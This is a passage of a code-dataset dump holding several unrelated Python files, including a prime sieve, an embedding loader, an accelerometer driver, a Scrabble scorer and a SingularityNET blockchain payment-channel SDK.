{snippet(index).rjust(9)} => {key.ljust(20)} {index_lookup['range']}\\n\"\n\n if index < len(input) and input[index] == '\\n':\n line += 1\n column = 0\n else:\n column += 1\n\n assert summary == snapshot(summary, 'tests/snapshots/lookup.snap.txt')\n","sub_path":"python/tests/test_lookup.py","file_name":"test_lookup.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"629030598","text":"from math import ceil\n\n\nclass Primes:\n @staticmethod\n def stream():\n n = 15490000\n primes = [True] * n\n for i in range(2, int(n ** 0.5 + 1)):\n if primes[i]:\n primes[i * 2:n:i] = [False] * (ceil(n / i) - 2)\n primes[0] = primes[1] = False\n p = (num for num, is_prime in enumerate(primes) if is_prime)\n for i in p:\n yield i\n\n\ndef verify(from_n):\n stream = Primes.stream()\n for _ in range(from_n): next(stream)\n print(next(stream))\n\n\nverify(2)\n","sub_path":"codewar/2022/3/Prime_Streaming.py","file_name":"Prime_Streaming.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"461489370","text":"import os\nimport sciwing.constants as constants\nfrom typing import Dict, Union\nimport numpy as np\nfrom tqdm import tqdm\nfrom wasabi import Printer\nimport gensim\n\n\nPATHS = constants.PATHS\nEMBEDDING_CACHE_DIR = PATHS[\"EMBEDDING_CACHE_DIR\"]\n\n\nclass EmbeddingLoader:\n \"\"\"\n This handles the loading of word embeddings for a vocab\n This can handle different kinds of embeddings.\n\n \"\"\"\n\n def __init__(\n self,\n token2idx: Dict,\n embedding_type: Union[str, None] = None,\n embedding_dimension: Union[str, None] = None,\n ):\n \"\"\"\n\n :param token2idx: type: Dict\n The mapping between token2idx\n :param embedding_type: type: Union[str, None]\n \"\"\"\n self.token2idx_mapping = token2idx\n self.embedding_type = \"random\" if embedding_type is None else embedding_type\n self.embedding_dimension = embedding_dimension\n\n self.allowed_embedding_types = [\n \"glove_6B_50\",\n \"glove_6B_100\",\n \"glove_6B_200\",\n \"glove_6B_300\",\n \"random\",\n \"parscit\",\n ]\n\n assert (\n self.embedding_type in self.allowed_embedding_types\n ), \"You can use one of {0} for embedding type\".format(\n self.allowed_embedding_types\n )\n\n self.embedding_filename = self.get_preloaded_filename()\n self.vocab_embedding = {} # stores the embedding for all words in vocab\n self.msg_printer = Printer()\n\n if \"random\" in self.embedding_type:\n self.vocab_embedding = self.load_random_embedding()\n\n if \"glove\" in self.embedding_type:\n self.vocab_embedding = self.load_glove_embedding()\n\n if \"parscit\" in self.embedding_type:\n self.vocab_embedding = self.load_parscit_embedding()\n\n def get_preloaded_filename(self):\n filename = None\n\n if self.embedding_type == \"glove_6B_50\":\n filename = os.path.join(EMBEDDING_CACHE_DIR, \"glove.6B.50d.txt\")\n\n elif self.embedding_type == \"glove_6B_100\":\n filename = os.path.join(EMBEDDING_CACHE_DIR, \"glove.6B.100d.txt\")\n\n elif self.embedding_type == \"glove_6B_200\":\n filename = os.path.join(EMBEDDING_CACHE_DIR, \"glove.6B.200d.txt\")\n\n elif self.embedding_type == \"glove_6B_300\":\n filename = os.path.join(EMBEDDING_CACHE_DIR, \"glove.6B.300d.txt\")\n elif self.embedding_type == \"parscit\":\n filename = os.path.join(EMBEDDING_CACHE_DIR, \"vectors_with_unk.kv\")\n\n return filename\n\n def load_glove_embedding(self) -> Dict[str, np.array]:\n \"\"\"\n Imports the glove embedding\n Loads the word embedding for words in the vocabulary\n If the word in the vocabulary doesnot have an embedding\n then it is loaded with zeros\n TODO: Load only once in the project and store it in json file\n - Read from json file at once\n - This might be memory expensive and save a little bit of time\n :return:\n \"\"\"\n embedding_dim = int(self.embedding_type.split(\"_\")[-1])\n glove_embeddings = {}\n with self.msg_printer.loading(\"Loading GLOVE embeddings\"):\n with open(self.embedding_filename, \"r\") as fp:\n for line in tqdm(\n fp,\n desc=\"Loading embeddings from file {0}\".format(self.embedding_type),\n ):\n values = line.split()\n word = values[0]\n embedding = np.array([float(value) for value in values[1:]])\n glove_embeddings[word] = embedding\n\n tokens = self.token2idx_mapping.keys()\n\n vocab_embeddings = {}\n\n for token in tokens:\n try:\n emb = glove_embeddings[token]\n except KeyError:\n emb = np.zeros(embedding_dim)\n\n vocab_embeddings[token] = emb\n\n self.msg_printer.good(f\"Loaded Glove embeddings - {self.embedding_type}\")\n return vocab_embeddings\n\n def load_random_embedding(self) -> Dict[str, np.array]:\n tokens = self.token2idx_mapping.keys()\n\n vocab_embeddings = {}\n\n for token in tokens:\n emb = np.random.normal(loc=-0.1, scale=0.1, size=self.embedding_dimension)\n vocab_embeddings[token] = emb\n\n self.msg_printer.good(\"Finished loading Random word Embedding\")\n return vocab_embeddings\n\n def load_parscit_embedding(self) -> Dict[str, np.array]:\n pretrained = gensim.models.KeyedVectors.load(self.embedding_filename, mmap=\"r\")\n tokens = self.token2idx_mapping.keys()\n vocab_embeddings = {}\n\n for token in tokens:\n try:\n emb = pretrained[token]\n except:\n emb = pretrained[\"\"]\n vocab_embeddings[token] = emb\n\n self.msg_printer.good(\"Finished Loading Parscit Embeddings\")\n return vocab_embeddings\n","sub_path":"sciwing/vocab/embedding_loader.py","file_name":"embedding_loader.py","file_ext":"py","file_size_in_byte":4992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"222751450","text":"\nclass Route:\n\n def __init__(self,googleRoute,pois):\n self.google_route = googleRoute\n self.pois = pois\n self.route_with_waypoints = False\n self.scores = []\n self.final_score = 0.0\n self.final_google_route = None\n self.final_distance = 0.0\n\n def get_pois_coordinates(self):\n pois_return = []\n for poi in self.pois:\n pois_return.append((poi['latitude'],poi['longitude']))\n return pois_return\n\n def get_final_score(self):\n self.final_distance = 0.0\n for l in self.final_google_route['legs']:\n self.final_distance += l['distance']['value']\n len_pois = len(self.pois)\n sum_score = sum([x[1] for x in self.scores])\n self.final_score = ((len_pois * sum_score)* 1000) / self.final_distance\n\n def print_final_info(self, legs = False):\n print(\"Rota por \" + self.final_google_route['summary'])\n print(\"Distancia (metros): \" + str(self.final_distance))\n print(\"Score final : \" + str(self.final_score))\n print(\"POIs:\")\n for p in self.pois:\n print(p['name'])\n if(legs):\n for l in self.final_google_route[u'legs']:\n for s in l[u'steps']:\n print(s[u'html_instructions'])\n\n\n\n\n ","sub_path":"model/route.py","file_name":"route.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"382530007","text":"number = int( input(\"Enter number:\"))\nadd = 0\n\ndef sumDigit():\n global add\n num = number\n while num > 0:\n add = add + (num % 10)\n num = int(num/10)\n\nsumDigit()\nprint(\"The sum of the digits in\", number,\"is\", add)\n","sub_path":"PyLesson_07/DigitAdder.py","file_name":"DigitAdder.py","file_ext":"py","file_size_in_byte":235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"541293273","text":"import time\nfrom machine import I2C\n\n\nADXL345_ADDR = 0x53\n\ni2c = I2C(0, I2C.MASTER, baudrate=100000)\n\nBW_RATE_100HZ = 0x0B\nPOWER_CTL = 0x2D \nMEASURE = 0x08\nDATA_FORMAT = 0x31\nAXES_DATA = 0x32\nBW_RATE = 0x2C\nRANGE_2G = 0x00\nSCALE_MULTIPLIER = 0.004\nEARTH_GRAVITY_MS2 = 9.80665\n\nclass ADXL345(object):\n\t\n\n\tdef __init__(self, i2c=None):\n\t\tself.i2c = i2c\n\t\tself.addr = ADXL345_ADDR\n\t\tprint('One')\n\t\tself.setBandwidthRate(BW_RATE_100HZ)\n\t\tself.setRange(RANGE_2G)\n\t\tself.enableMeasurement()\n\n\tdef enableMeasurement(self):\n\t\ti2c.writeto(self.addr, bytes([POWER_CTL]))\n\t\ti2c.writeto(self.addr, bytes([MEASURE])) \n\n\tdef setBandwidthRate(self, rate_flag):\n\t\tprint('Two')\n\t\ti2c.writeto_mem(self.addr, BW_RATE, bytes([rate_flag]))\n # i2c.writeto_mem(self.addr, BW_RATE, rate_flag)\n\n\n\tdef setRange(self, range_flag):\n\t\tvalue = i2c.readfrom_mem(self.addr, DATA_FORMAT, range_flag)\n\t\tprint('here')\n\t\tvalue &= ~0x0F;\n\t\tvalue |= range_flag;\n\t\tvalue |= 0x08;\n\n\t\ti2c.writeto(self.addr, DATA_FORMAT, value)\n\n\tdef getAxes(self, gforce = False):\n\t\tbytes = i2c.readfrom(self.addr, AXES_DATA, 6)\n\n\t\tx = bytes[0] | (bytes[1] << 8)\n\t\tif(x & (1 << 16 - 1)):\n\t\t\tx = x - (1<<16)\n\n\t\ty = bytes[2] | (bytes[3] << 8)\n\t\tif(y & (1 << 16 - 1)):\n\t\t\ty = y - (1<<16)\n\n\t\tz = bytes[4] | (bytes[5] << 8 )\n\t\tif(z & (1 << 16 - 1)):\n\t\t\tz = z - (1<<16)\n\n\t\tx = x * SCALE_MULTIPLIER\n\t\ty = y * SCALE_MULTIPLIER\n\t\tz = z * SCALE_MULTIPLIER\n\n\t\tif gforce == False: \n\t\t\tx = x * EARTH_GRAVITY_MS2\n\t\t\ty = y * EARTH_GRAVITY_MS2\n\t\t\tz = z * EARTH_GRAVITY_MS2\n\n\t\tx = round(x,4)\n\t\ty = round(y,4)\n\t\tz = round(z,4)\n\n\t\treturn {\"x\": x, \"y\": y, \"z\": z}\nprint('Start')\n\nfor i in range(0,10):\n\tadxl345 = ADXL345()\n\taxes = adxl345.getAxes(True)\n\tprint(axes['x'])\n\tsleep_ms(25)","sub_path":"iotprojectSignapore/adxl345.py","file_name":"adxl345.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"84275018","text":"from django.test import TestCase\n\nfrom kursovaya.api import GetMaximumMark\n\n\nclass URLTests(TestCase):\n def test_homepage(self):\n response = self.client.get('/')\n self.assertEqual(response.status_code, 200)\n\n\nclass StatisticTest(TestCase):\n def test_get_min_mark(self):\n content = [\n ['subject', 'mark1', 'mark2'],\n ['sub1', '61', '78'],\n ['sub2', '90', '92']\n ]\n min_mark_cmd = GetMinimumMark()\n min_mark = min_mark_cmd.execute(content)\n self.assertEqual(min_mark, 'sub1, 61.0, sub2, 90.0')\n\n def test_get_max_mark(self):\n content = [\n ['subject', 'mark1', 'mark2'],\n ['sub1', '61', '78'],\n ['sub2', '90', '92']\n ]\n max_mark_cmd = GetMaximumMark()\n max_mark = max_mark_cmd.execute(content)\n self.assertEqual(max_mark, 'sub1, 78.0, sub2, 92.0')\n","sub_path":"kursovaya/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"264919397","text":"import sys\n\nclass InputValidator:\n '''this is the class related to input\n do the inputcheck, and get the permutation of the input letters'''\n \n\n def inputcheck(self):\n import re \n\n while True:\n your_word = input('> Enter the each letter in your rack: ')\n \n your_match = re.findall(r'[a-zA-z]+', your_word) #use the regular expression to do the format check\n valid_word = ''\n for i in your_match:\n valid_word += i\n #print(valid_word)\n \n #if pass the regular expression check, jump out of the while loop, and then excuate the following functions. \n #if fail the regualer expression check, tell the user the reason, and ask the user to enter an input again. \n if valid_word == '':\n print('Please enter letters only.') \n \n elif len(valid_word) > 7:\n print('Please enter less than 7 letters. ')\n else:\n break \n return valid_word \n\n def possible_word(self,valid_word):\n import itertools\n\n words = valid_word\n counted = []\n #print(words)\n for i in range(2,len(words)+1):\n possible_word = list(itertools.permutations(words,i)) #using itertools module to find all the permutations of the input letter)\n for j in possible_word:\n j = ''.join(tuple(j)) #since the type of j is tuple, in order to do the matching successfully, convert the tuple to string format. \n counted.append(j)\n '''\n for allowed in allowed_words: \n #print(allowed)\n #print(type(allowed))\n if j == allowed.lower():\n counted.append(j)\n ''' \n return counted\n \n\nyour_input = InputValidator()\nu_input = your_input.inputcheck()\nu_possible = your_input.possible_word(u_input)\n#print(u_input)\n#print(u_possible)\n\nclass WordValidator:\n '''this is the class used to get the valided words, \n read the 'allowed_scrabble_words.txt file to generate all allowed words, \n and then find the common words in' all allowed words' and the list of 'all the permutuations of the input letters' '''\n\n def reading(self):\n f = open('Allowed_Scrabble_words.txt','r')\n ff = f.readlines()\n f.close\n allowed_words = []\n for lines in ff:\n lines = lines.replace(' ','')\n lines = lines.replace('|','')\n lines = lines.replace('\\n','')\n count_word = lines.lower()\n allowed_words.append(count_word)\n return allowed_words\n\n def matching(self,allowed_words,counted):\n valid_word = []\n for i in counted:\n for allowed in allowed_words: \n if i == allowed.lower():\n valid_word.append(i)\n return valid_word\n\nyour_word = WordValidator()\nu_word = your_word.reading()\nu_match = your_word.matching(u_word,u_possible)\n\n#print(u_match)\n\n\n\nclass ScoreGenerator:\n '''this is the class related to calcuated scores,\n calcuate the scores, sorte them, and then write the new file'''\n \n\n def score(self,u_match): \n tile_score = {\"a\": 1, \"c\": 3, \"b\": 3, \"e\": 1, \"d\": 2, \"g\": 2,\n \"f\": 4, \"i\": 1, \"h\": 4, \"k\": 5, \"j\": 8, \"m\": 3,\n \"l\": 1, \"o\": 1, \"n\": 1, \"q\": 10, \"p\": 3, \"s\": 1,\n \"r\": 1, \"u\": 1, \"t\": 1, \"w\": 4, \"v\": 4, \"y\": 4,\n \"x\": 8, \"z\": 10}\n \n total_score = {} #create a dict to store different words, and their scores. \n for i in u_match:\n total = 0 \n for j in i:\n total += tile_score[j]\n total_score[i] = total #add k,v to the dict{total_score}\n \n return total_score\n \n\n def sorting(self,total_score):\n import json\n #sort the dict by values. \n sorted_total_score = sorted(total_score.items(), key=lambda x: x[1], reverse=True)\n filef = open('input_letter_words_sorted.txt','w')\n #filef.writelines(str(sorted_total_score))\n filef.writelines(json.dumps(sorted_total_score))\n filef.close()\n \n\nyour_score = ScoreGenerator()\nu_score = your_score.score(u_match)\nyour_score.sorting(u_score)\n\n#print(u_score)\n\n#final_score = your_score.sortinf(u_score) ----OUTPUT IS 'NONE'\n#print(final_score) ----- OUTPUT IS 'NONE' (since there is no return in the sorting() function. )\n#print(your_score.sorting(u_score)) ----OUTPUT IS 'NONE'\n# since sorting() has no return, the output of print(sorting) will be 'NONE', DO NOT FORGET ADD 'RETURN' FUNCTION\n\n \n\n \n\n\n \n ","sub_path":"problem1.py","file_name":"problem1.py","file_ext":"py","file_size_in_byte":4773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"129607073","text":"import operator\nfrom functools import reduce\nimport sys\nimport os \nimport importlib\nimport json\nimport base64\nfrom pathlib import PurePath, Path\nfrom urllib.parse import urljoin\n\nimport ecdsa\nimport hashlib\nimport grpc\nimport collections\nimport web3\nfrom web3.gas_strategies.rpc import rpc_gas_price_strategy\nfrom eth_account.messages import defunct_hash_message\nfrom rfc3986 import urlparse\nimport ipfsapi\nfrom web3.utils.datastructures import AttributeDict, MutableAttributeDict\n\nimport snet_sdk.generic_client_interceptor as generic_client_interceptor\n\n__version__ = \"0.0.1\"\n\nmain_dir_path = PurePath(os.path.abspath(sys.modules['__main__'].__file__)).parent\ncur_dir = PurePath(os.path.realpath(__file__)).parent\n\n\nclass TransactionError(Exception):\n \"\"\"Raised when an Ethereum transaction receipt has a status of 0. Can provide a custom message. Optionally includes receipt\"\"\"\n def __init__(self, message, receipt=None):\n super().__init__(message)\n self.message = message\n self.receipt = receipt\n def __str__(self):\n return self.message\n\n\nclass ChannelOpenEncoder(json.JSONEncoder):\n def default(self, obj):\n if type(obj) is bytes:\n return base64.b64encode(obj).decode(\"ascii\")\n else:\n super().default(self, obj)\n\n\nclass _ClientCallDetails(\n collections.namedtuple(\n '_ClientCallDetails',\n ('method', 'timeout', 'metadata', 'credentials')),\n grpc.ClientCallDetails):\n pass\n\n\nsnet_sdk_defaults = {\n \"libraries_base_path\": \"grpc\",\n \"eth_rpc_endpoint\": \"https://kovan.infura.io\",\n \"ipfs_rpc_endpoint\": \"http://ipfs.singularitynet.io:80\",\n \"private_key\": None,\n \"signer_private_key\": None,\n \"account_index\": 0,\n \"default_gas\": 1000000,\n \"mpe_address\": None,\n \"token_address\": None,\n \"allow_transactions\": False\n}\n\n\nclass Snet:\n \"\"\"Base Snet SDK\"\"\"\n def __init__(\n self,\n config=None,\n libraries_base_path=snet_sdk_defaults[\"libraries_base_path\"],\n eth_rpc_endpoint=snet_sdk_defaults[\"eth_rpc_endpoint\"],\n ipfs_rpc_endpoint=snet_sdk_defaults[\"ipfs_rpc_endpoint\"],\n private_key=snet_sdk_defaults[\"private_key\"],\n signer_private_key=snet_sdk_defaults[\"signer_private_key\"],\n account_index=snet_sdk_defaults[\"account_index\"],\n default_gas=snet_sdk_defaults[\"default_gas\"],\n mpe_address=snet_sdk_defaults[\"mpe_address\"],\n token_address=snet_sdk_defaults[\"token_address\"],\n allow_transactions=snet_sdk_defaults[\"allow_transactions\"]\n ):\n self.libraries_base_path = libraries_base_path\n self.default_gas = default_gas\n self.allow_transactions = allow_transactions\n self.nonce = 0\n self.logs = None\n\n if private_key is not None:\n if private_key.startswith(\"0x\"):\n self.private_key = bytes(bytearray.fromhex(private_key[2:]))\n else:\n self.private_key = bytes(bytearray.fromhex(private_key))\n\n public_key = ecdsa.SigningKey.from_string(string=self.private_key,\n curve=ecdsa.SECP256k1,\n hashfunc=hashlib.sha256).get_verifying_key()\n self.address = web3.Web3.toChecksumAddress(\"0x\" + web3.Web3.sha3(hexstr=public_key.to_string().hex())[12:].hex())\n else: # Working with an unlocked account, for example\n self.address = web3.Web3.toChecksumAddress(web3.eth.accounts[account_index])\n\n\n if self.private_key is not None and signer_private_key is None:\n self.signer_private_key = self.private_key\n else:\n self.signer_private_key = signer_private_key\n\n signer_public_key = ecdsa.SigningKey.from_string(string=self.private_key,\n curve=ecdsa.SECP256k1,\n hashfunc=hashlib.sha256).get_verifying_key()\n\n self.signer_address = web3.Web3.toChecksumAddress(\"0x\" + web3.Web3.sha3(hexstr=signer_public_key.to_string().hex())[12:].hex())\n\n\n # Instantiate Ethereum client\n provider = web3.HTTPProvider(eth_rpc_endpoint)\n self.web3 = web3.Web3(provider)\n self.web3.eth.setGasPriceStrategy(rpc_gas_price_strategy)\n\n # Get average block time for current network\n latest = self.web3.eth.getBlock(\"latest\")\n times = [block.timestamp for block in list(map(lambda n: self.web3.eth.getBlock(n), range(latest.number, latest.number-20, -1)))]\n diffs = list(map(operator.sub, times[1:], times[:-1]))\n self.average_block_time = abs(reduce(lambda a, b: a+b, diffs) / len(diffs))\n\n # Instantiate IPFS client\n ipfs_rpc_endpoint = urlparse(ipfs_rpc_endpoint)\n ipfs_scheme = ipfs_rpc_endpoint.scheme if ipfs_rpc_endpoint.scheme else \"http\"\n ipfs_port = ipfs_rpc_endpoint.port if ipfs_rpc_endpoint.port else 5001\n self.ipfs_client = ipfsapi.connect(urljoin(ipfs_scheme, ipfs_rpc_endpoint.hostname), ipfs_port)\n\n # Get contract objects\n self.mpe_contract = self._get_contract_object(\"MultiPartyEscrow.json\")\n self.token_contract = self._get_contract_object(\"SingularityNetToken.json\")\n self.registry_contract = self._get_contract_object(\"Registry.json\")\n\n\n # Generic Eth transaction functions \n def _get_contract_deployment_block(self, contract_file):\n with open(cur_dir.joinpath(\"resources\", \"contracts\", \"networks\", contract_file)) as f:\n networks = json.load(f)\n txn_hash = networks[self.web3.version.network][\"transactionHash\"]\n return self.web3.eth.getTransactionReceipt(txn_hash).blockNumber\n\n def _get_nonce(self):\n nonce = self.web3.eth.getTransactionCount(self.address)\n if self.nonce >= nonce:\n nonce = self.nonce + 1\n self.nonce = nonce\n return nonce\n\n\n def _get_gas_price(self):\n return self.web3.eth.generateGasPrice()\n\n\n def _send_signed_transaction(self, contract_fn, *args):\n transaction = contract_fn(*args).buildTransaction({\n \"chainId\": int(self.web3.version.network),\n \"gas\": self.default_gas, \n \"gasPrice\": self._get_gas_price(),\n \"nonce\": self._get_nonce()\n })\n signed_txn = self.web3.eth.account.signTransaction(transaction, private_key=self.private_key)\n return self.web3.toHex(self.web3.eth.sendRawTransaction(signed_txn.rawTransaction))\n\n\n def _send_transaction(self, contract_fn, *args):\n if self.private_key is not None:\n txn_hash = self._send_signed_transaction(contract_fn, *args)\n else:\n txn_hash = contract_fn(*args).transact({\n \"gas\": self.default_gas,\n \"gasPrice\": gas_price\n })\n return self.web3.eth.waitForTransactionReceipt(txn_hash)\n\n\n def _parse_receipt(self, receipt, event, encoder=json.JSONEncoder):\n if receipt.status == 0:\n raise TransactionError(\"Transaction failed\", receipt)\n else:\n return json.dumps(dict(event().processReceipt(receipt)[0][\"args\"]), cls=encoder)\n\n\n def _update_channel_data_from_blockchain(self, channel):\n channel_blockchain_data = self.mpe_contract.functions.channels(channel[\"channelId\"]).call()\n channel = dict(channel)\n channel[\"nonce\"] = channel_blockchain_data[0]\n channel[\"amount\"] = channel_blockchain_data[5]\n channel[\"expiration\"] = channel_blockchain_data[6]\n return AttributeDict(channel)\n\n\n def _get_channels(self, recipient_address=None):\n topics = [self.web3.sha3(text=\"ChannelOpen(uint256,uint256,address,address,address,bytes32,uint256,uint256)\").hex()]\n if self.logs is None:\n self.logs = self.web3.eth.getLogs({\"fromBlock\" : self._get_contract_deployment_block(\"MultiPartyEscrow.json\"), \"address\": self.mpe_contract.address, \"topics\": topics})\n event_abi = {'anonymous': False, 'inputs': [{'indexed': False, 'name': 'channelId', 'type': 'uint256'}, {'indexed': False, 'name': 'nonce', 'type': 'uint256'}, {'indexed': True, 'name': 'sender', 'type': 'address'}, {'indexed': False, 'name': 'signer', 'type': 'address'}, {'indexed': True, 'name': 'recipient', 'type': 'address'}, {'indexed': True, 'name': 'groupId', 'type': 'bytes32'}, {'indexed': False, 'name': 'amount', 'type': 'uint256'}, {'indexed': False, 'name': 'expiration', 'type': 'uint256'}], 'name': 'ChannelOpen', 'type': 'event'}\n if recipient_address is None:\n channels = list(filter(lambda channel: channel.sender == self.address and channel.signer == self.signer_address, [web3.utils.events.get_event_data(event_abi, l)[\"args\"] for l in self.logs]))\n else:\n channels = list(filter(lambda channel: channel.sender == self.address and channel.signer == self.signer_address and channel.recipient == recipient_address, [web3.utils.events.get_event_data(event_abi, l)[\"args\"] for l in self.logs]))\n\n return list(map(lambda c: self._update_channel_data_from_blockchain(c), channels))\n\n\n # Contract functions \n def _token_approve_transfer(self, value):\n already_approved = self.token_contract.functions.allowance(self.address, self.mpe_contract.address).call()\n if (already_approved < value):\n self._send_transaction(self.token_contract.functions.approve, self.mpe_contract.address, value - already_approved)\n\n\n def mpe_deposit(self, value):\n self._token_approve_transfer(value)\n receipt = self._send_transaction(self.mpe_contract.functions.deposit, value)\n return self._parse_receipt(receipt, self.mpe_contract.events.DepositFunds)\n\n\n def mpe_withdraw(self, value):\n receipt = self._send_transaction(self.mpe_contract.functions.withdraw, value)\n return self._parse_receipt(receipt, self.mpe_contract.events.WithdrawFunds)\n\n\n def mpe_open_channel(self, recipient_address, group_id, value, expiration):\n receipt = self._send_transaction(self.mpe_contract.functions.openChannel, self.signer_address, recipient_address, group_id, value, expiration)\n return self._parse_receipt(receipt, self.mpe_contract.events.ChannelOpen, encoder=ChannelOpenEncoder)\n\n\n def mpe_deposit_and_open_channel(self, recipient_address, group_id, value, expiration):\n self._token_approve_transfer(value)\n receipt = self._send_transaction(self.mpe_contract.functions.depositAndOpenChannel, self.signer_address, recipient_address, group_id, value, expiration)\n return self._parse_receipt(receipt, self.mpe_contract.events.ChannelOpen, encoder=ChannelOpenEncoder)\n\n\n def mpe_channel_extend(self, channel_id, new_expiration):\n receipt = self._send_transaction(self.mpe_contract.functions.channelExtend, channel_id, new_expiration)\n return self._parse_receipt(receipt, self.mpe_contract.events.ChannelExtend)\n\n\n def mpe_channel_add_funds(self, channel_id, amount):\n receipt = self._send_transaction(self.mpe_contract.functions.channelAddFunds, channel_id, amount)\n return self._parse_receipt(receipt, self.mpe_contract.events.ChannelAddFunds)\n\n \n def mpe_channel_extend_and_add_funds(self, channel_id, new_expiration, amount):\n receipt = self._send_transaction(self.mpe_contract.functions.channelExtendAndAddFunds, channel_id, new_expiration, amount)\n return self._parse_receipt(receipt, self.mpe_contract.events.ChannelAddFunds)\n\n\n # Generic utility functions\n def _get_contract_object(self, contract_file):\n with open(cur_dir.joinpath(\"resources\", \"contracts\", \"abi\", contract_file)) as f:\n abi = json.load(f)\n with open(cur_dir.joinpath(\"resources\", \"contracts\", \"networks\", contract_file)) as f:\n networks = json.load(f)\n address = self.web3.toChecksumAddress(networks[self.web3.version.network][\"address\"])\n return self.web3.eth.contract(abi=abi, address=address)\n\n\n def _get_base_grpc_channel(self, endpoint):\n endpoint_object = urlparse(endpoint)\n if endpoint_object.port is not None:\n channel_endpoint = endpoint_object.hostname + \":\" + str(endpoint_object.port)\n else: \n channel_endpoint = endpoint_object.hostname\n\n if endpoint_object.scheme == \"http\":\n return grpc.insecure_channel(channel_endpoint)\n elif endpoint_object.scheme == \"https\":\n return grpc.secure_channel(channel_endpoint, grpc.ssl_channel_credentials())\n else:\n raise ValueError('Unsupported scheme in service metadata (\"{}\")'.format(endpoint_object.scheme))\n\n\n # Service client\n def client(self, *args, org_id=None, service_id=None, channel_id=None):\n client = MutableAttributeDict({})\n\n # Determine org_id, service_id and channel_id for client\n _org_id = org_id\n _service_id = service_id\n _channel_id = channel_id\n\n if len(args) == 2:\n (_org_id, _service_id) = args\n if len(args) == 1:\n raise ValueError(\"Please either provide both organization id and service id as positional arguments or none of them\")\n\n if (_org_id is not None or _service_id is not None) and (org_id is not None or service_id is not None):\n raise ValueError(\"Please provide organization id and service id either as positional arguments or as keyword arguments\")\n \n if org_id is not None and _service_id is not None:\n _org_id = org_id\n _service_id = service_id\n\n if _org_id is None or _service_id is None:\n raise ValueError(\"\"\"Could not instantiate client.\n Please provide at least an org_id and a service_id either as positional or keyword arguments\"\"\")\n\n\n # Get client metadata for service\n (found, registration_id, metadata_uri, tags) = self.registry_contract.functions.getServiceRegistrationById(bytes(_org_id, \"utf-8\"), bytes(_service_id, \"utf-8\")).call()\n client.metadata = AttributeDict(json.loads(self.ipfs_client.cat(metadata_uri.rstrip(b\"\\0\").decode('ascii')[7:])))\n default_group = AttributeDict(client.metadata.groups[0])\n client.default_payment_address = default_group[\"payment_address\"]\n default_channel_value = client.metadata.pricing[\"price_in_cogs\"]*100\n default_channel_expiration = int(self.web3.eth.getBlock(\"latest\").number + client.metadata.payment_expiration_threshold + (3600*24*7/self.average_block_time))\n service_endpoint = None\n for endpoint in client.metadata[\"endpoints\"]:\n if (endpoint[\"group_name\"] == default_group[\"group_name\"]):\n service_endpoint = endpoint[\"endpoint\"]\n break\n\n\n # Functions to get a funded channel with a combination of calls to the blockchain and to the daemon \n grpc_channel = self._get_base_grpc_channel(service_endpoint)\n\n channel_state_service_proto_path = str(cur_dir.joinpath(\"resources\", \"proto\"))\n sys.path.insert(0, channel_state_service_proto_path)\n _state_service_pb2 = importlib.import_module(\"state_service_pb2\")\n _state_service_pb2_grpc = importlib.import_module(\"state_service_pb2_grpc\")\n sys.path.remove(channel_state_service_proto_path)\n\n\n def _get_channel_state(channel_id):\n stub = _state_service_pb2_grpc.PaymentChannelStateServiceStub(grpc_channel)\n message = web3.Web3.soliditySha3([\"uint256\"], [channel_id])\n signature = self.web3.eth.account.signHash(defunct_hash_message(message), self.signer_private_key).signature\n request = _state_service_pb2.ChannelStateRequest(channel_id=web3.Web3.toBytes(channel_id), signature=bytes(signature))\n response = stub.GetChannelState(request)\n return {\n \"current_nonce\": int.from_bytes(response.current_nonce, byteorder=\"big\"),\n \"current_signed_amount\": int.from_bytes(response.current_signed_amount, byteorder=\"big\")\n }\n\n\n def _get_channel_states():\n return [dict(_get_channel_state(channel.channelId), **{\"channel_id\": channel.channelId, \"initial_amount\": channel.amount, \"expiration\": channel.expiration}) for channel in self._get_channels(client.default_payment_address)]\n\n\n def _client_open_channel(value, expiration):\n mpe_balance = self.mpe_contract.functions.balances(self.address).call()\n group_id = base64.b64decode(default_group.group_id)\n if value > mpe_balance:\n return(self.mpe_deposit_and_open_channel(default_group.payment_address, group_id, value - mpe_balance, expiration))\n else:\n return(self.mpe_open_channel(default_group.payment_address, group_id, value, expiration))\n\n\n def _client_add_funds(channel_id, amount):\n mpe_balance = self.mpe_contract.functions.balances(self.address).call()\n if value > mpe_balance:\n self.mpe_deposit(amount - mpe_balance)\n return(self.mpe_channel_add_funds(channel_id, amount))\n\n\n def _client_extend_and_add_funds(channel_id, new_expiration, amount):\n mpe_balance = self.mpe_contract.functions.balances(self.address).call()\n if amount > mpe_balance:\n self.mpe_deposit(amount - mpe_balance)\n return(self.mpe_channel_extend_and_add_funds(channel_id, new_expiration, amount))\n\n\n def _get_funded_channel():\n channel_states = _get_channel_states()\n\n if len(channel_states) == 0:\n if self.allow_transactions is False:\n raise RuntimeError('No state channel found. Please open a new channel or set configuration parameter \"allow_transactions=True\" when creating Snet class instance')\n else:\n _client_open_channel(default_channel_value, default_channel_expiration)\n channel_states = _get_channel_states()\n\n funded_channels = list(filter(lambda state: state[\"initial_amount\"] - state[\"current_signed_amount\"] >= int(client.metadata.pricing[\"price_in_cogs\"]), iter(channel_states)))\n if len(funded_channels) == 0:\n if self.allow_transactions is True:\n non_expired_unfunded_channels = list(filter(lambda state: state[\"expiration\"] + client.metadata.payment_expiration_threshold > self.web3.eth.getBlock(\"latest\").number, iter(channel_states)))\n if len(non_expired_unfunded_channels) == 0:\n channel_id = next(iter(channel_states))[\"channel_id\"]\n _client_extend_and_add_funds(channel_id, default_channel_expiration, default_channel_value)\n return 